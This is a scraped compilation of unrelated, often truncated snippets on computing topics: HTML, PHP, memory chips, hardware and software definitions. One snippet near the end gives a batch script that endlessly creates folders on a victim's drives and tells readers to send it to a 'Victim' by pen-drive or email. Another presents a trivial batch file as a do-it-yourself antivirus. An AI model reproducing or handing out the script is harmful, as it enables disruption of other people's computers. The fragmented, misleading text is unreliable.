HTML or HyperText Markup Language is the standard markup language used to create web pages. HTML is written in the form of HTML elements consisting of tags enclosed in angle brackets (like ). HTML tags most commonly come in pairs like and , although some tags represent empty elements and so are unpaired, for example . The first tag in a pair is the start tag , and the second tag is the end tag (they are also called opening tags and closing tags ). A web browser can read HTML files and compose them into visible or audible web pages. The browser does not display the HTML tags, but uses them to interpret the content of the page. HTML describes the structure of a website semantically along with cues for presentation, making it a markup language rather than a programming language. HTML elements form the building blocks of all websites. HTML allows images and objects to be embedded and can be used to create interactive forms. It provides a means to create structured docum
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The history of computing hardware covers the developments from simple devices to aid calculation, to mechanical calculators, punched card data processing and on to modern stored-program computers . Before the 20th century, most calculations were done by humans. Early mechanical tools to help humans with digital calculations were called "calculating machines", by proprietary names, or even as they are now, calculators . The machine operator was called the computer. The first aids to computation were purely mechanical devices which required the operator to set up the initial values of an elementary arithmetic operation, then manipulate the device to obtain the result. The slide rule and, later, analog computers represented numbers in a continuous form, for instance distance along a scale, rotation of a shaft, or a voltage. Numbers could also be represented in the form of digits, automatically manipulated by a mechanical mechanism. Although this approach generall
PHP is a server-side scripting language designed for web development but also used as a general-purpose programming language. As of January 2013, PHP was installed on more than 240 million websites (39% of those sampled) and 2.1 million web servers. [4] Originally created by Rasmus Lerdorf in 1994, [5] the reference implementation of PHP (powered by the Zend Engine) is now produced by The PHP Group. [6] While PHP originally stood for Personal Home Page , [5] it now stands for PHP: Hypertext Preprocessor , which is a recursive acronym. [7]
Financial Time-X: THE HISTORY : Everything that existed in this world has its history, if we talk about Humans they have their history, if we talk about Animals or Plants ... If you like this post 1+ this
You wake up in the morning, switch on your PC and check mails or update your Facebook status. You go to work, switch on your computer and work. You come back from work, and re-check your mails, make entries in your account folder, check your bank balance, etc. You encourage your child to watch NatGeo, or undertake grammar test using the latest software.
Theft of Personal Information The use of Internet for banking, social networking, or other services, often makes our personal information vulnerable to theft. There are no fail-proof ways to securing names, account numbers, addresses, photos, and credit card numbers from being stolen or misused by thieving websites and individuals.
Faster Communication The Internet has been mankind's greatest means of communication yet. Newer innovations are only making it faster and more reliable. Today, we can initiate real-time communication with someone who is in another part of the world.
Basic Definition of Software:- Software refer to the programs that instruct the computer what to do.Software makes the computer useful.Software is the general name given to all the programs (instruction) and data necessary to make the computer usable.The term software refer to the non-physical elements of a computer system. Windows, Visual Basic, Avast Antivirus, Microsoft Word, Microsoft Excel are the examples of Software.
Basic Definition Of Hardware :- The physical or tangible components forming a computer are called Hardware.When people talk about a computer,they usually mean the hardware.Hardware is a collective term.It includes not only the computer but also the cable,connecters,power supply units and peripheral devices such as the keyboard,mouse,audit speaker,printer,etc. The term is used to distinguish these fixed parts of a system form the changeable software or data components,which it executes,stores,or carries.
A CD-ROM / ˌ s iː ˌ d iː ˈ r ɒ m / is a pre-pressed optical compact disc which contains data. The name is an acronym which stands for " Compact Disc Read-Only Memory ". Computers can read CD-ROMs, but cannot write on the CD-ROM's which are not writable or erasable. Until the mid-2000s, CD-ROMs were popularly used to distribute software for computers and video game consoles. Some CDs, called enhanced CDs, hold both computer data and audio with the latter capable of being played on a CD player, while data (such as software or digital video) is only usable on a computer (such as ISO 9660 format PC CD-ROMs). The Yellow Book is the technical standard that defines the format of CD-ROMs. One of a set of color-bound books that contain the technical specifications for all CD formats, the Yellow Book , created by Sony and Philips in 1988, was the first extension of Compact Disc Digital Audio. It adapted the format to hold any form of data.
An EPROM (rarely EROM), or erasable programmable read only memory, is a type of memory chip that retains its data when its power supply is switched off. In other words, it is non-volatile. It is an array of floating-gate transistors individually programmed by an electronic device that supplies higher voltages than those normally used in digital circuits. Once programmed, an EPROM can be erased by exposing it to strong ultraviolet light source (such as from a mercury-vapor light). EPROMs are easily recognizable by the transparent fused quartz window in the top of the package, through which the silicon chip is visible, and which permits exposure to UV light during erasing. Operation
EEPROM also written E 2 PROM and pronounced "e-e-prom", "double-e prom", "e-squared", or simply "e-prom") stands for E lectrically E rasable P rogrammable R ead- O nly M emory and is a type of non-volatile memory used in computers and other electronic devices to store small amounts of data that must be saved when power is removed, e.g., calibration tables or device configuration. Unlike bytes in most other kinds of non-volatile memory, individual bytes in a traditional EEPROM can be independently read, erased, and re-written. When larger amounts of static data are to be stored (such as in USB flash drives) a specific type of EEPROM such as flash memory is more economical than traditional EEPROM devices. EEPROMs are organized as arrays of floating-gate transistors. An EPROM usually must be removed from the device for erasing and programming, whereas EEPROMs can be programmed and erased in-circuit, by applying special programming sign
In information technology, a write-only memory ( WOM ) is a memory location or register that can be written to but not read. In addition to its literal meaning, the term may be applied to a situation when the data written by one circuit can be read only by other circuitry. The most common occurrence of the latter situation is when a processor writes data to a write-only register of hardware the processor is controlling. The hardware can read the instruction but the processor cannot. This can lead to problems in producing device drivers for the hardware. Write-only memories also find applications in security and cryptography as a means of preventing data being intercepted as it is being decrypted. Hardware uses In 1972, WOM, an antithesis of read-only memory (ROM), was introduced as an inside practical joke perpetrated by Signetics. [ 1 ] However it was soon recognized that this concept actually describes certain functionalities in microprocessor systems. [ 2 ] The
Read-only memory ( ROM ) is a class of storage medium used in computers and other electronic devices. Data stored in ROM can only be modified slowly or with difficulty, so it is mainly used to distribute firmware (software that is very closely tied to specific hardware, and unlikely to need frequent updates). Strictly, read-only memory refers to memory that is hard-wired, such as diode matrix and the later mask ROM . Although discrete circuits can be altered in principle, ICs cannot and are useless if the data are bad. Despite the simplicity, speed and economies of scale of mask ROM, field-programmability often make reprogrammable memories more flexible and inexpensive. As of 2007, actual ROM circuitry is therefore mainly used for applications such as microcode, and similar structures, on various kinds of processors. Other types of non-volatile memory such as erasable programmable read only memory (EPROM) and electrically erasable programmable read-only memory (EEPROM or
Random-access memory ( RAM / r æ m / ) is a form of computer data storage. A random-access memory device allows data items to be read and written in roughly the same amount of time regardless of the order in which data items are accessed. [1] In contrast, with other direct-access data storage media such as hard disks, CD-RWs, DVD-RWs and the older drum memory, the time required to read and write data items varies significantly depending on their physical locations on the recording medium, due to mechanical limitations such as media rotation speeds and arm movement delays. Today, random-access memory takes the form of integrated circuits. Strictly speaking, modern types of DRAM are not random access, as data is read in bursts, although the name DRAM / RAM has stuck. However, many types of SRAM are still random access even in a strict sense. RAM is normally associated with volatile types of memory (such as DRAM memory modules), where stored information is lost if the power is
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The main functioning of Antivirus is to detect and remove harmful or unwanted files which may slowdown your computer and windows. But if you don’t have enough time to download any best antivirus. Then simply use this trick to make your own antivirus. This antivirus scan by using command prompt and delete unwanted files automatically. Open your Notepad and paste this given code @echo off title Antivirus echo Antivirus echo created by your name :start IF EXIST virus.bat goto infected IF NOT EXIST virus.bat goto clean cd C:\Windows\system32 :infected echo WARNING VIRUS DETECTED! del virus.bat pause goto start :clean echo System secure! pause exit Now save your file with softwareforfre.bat and select “All files”
Here we are going to show, How to make Simple Virus in notepad. We will Create a Virus We will Check it on Victims Computer. [ Note : Don't try it on your computer ] Open Notepad and Copy the Following code in Notepad. Open your notepad from [Start >> Run >> Type "Notepad" >>Press Enter ] Copy the Following Code and paste it in notepad then Save it as "virus.bat". [you can also save with different name but extension must be .bat] @echo off :VIRUS cd /d C: md %RANDOM% cd /d D: md %RANDOM% cd /d E: md %RANDOM% goto VIRUS REM ####################### REM softwareforfre.blogspot.com Give it to Victim Now Give this file to Victim via Pen-drive or Mail then ask to Open it. It will Create More Folder in C,D,and E drive.
Virus A software program first written Rich Skrenta in 1982 who was a 15-year old high school student. Known as The Elk Cloner this virus spread to other computers by monitoring the floppy drive and copying itself to any floppy diskette that was inserted into the computer. Once a floppy diskette became infected it would infect all other computers that disk was inserted into, each computer that was infected would then infect every floppy diskette inserted into it. A computer that was infected would also display a short poem on every 50th boot. The concept of a computer program capable of reproducing itself was first mentioned by John von Neumann in his 1949 "Theory of self-reproducing automata" essay. Later, Fred Cohen in 1983 later coined the term virus in a 1984 research paper as "a computer program that can affect other computer programs by modifying them in such a way as to include a (possibly evolved) copy of itself." Today, a comput
Webpages. We use them every day. But how hard is it to make a webpage? You can make a simple webpage easily with Notepad Open Notepad. Click File->Save As. Choose all files from the file type menu. Save your file as file.html You can replace file with anything. Usually the main page of a website is index.html Now you can start coding. Don't worry, it's not hard! HTML (hypertext markup language) uses tags. Tags are basically some text inside of You will use a variety of tags to create your webpage. There are also "end tags" which look like These end things like a bold font. The first tag of a webpage is usually the html. You can put this at the top of your Notepad file. The next tag is the tag. Between the and tags are the title tag, which tells the browser what to put at the top of the window, and meta tags, which tell search engines like Google what the site is about. On the next line after your tag, put a Now end y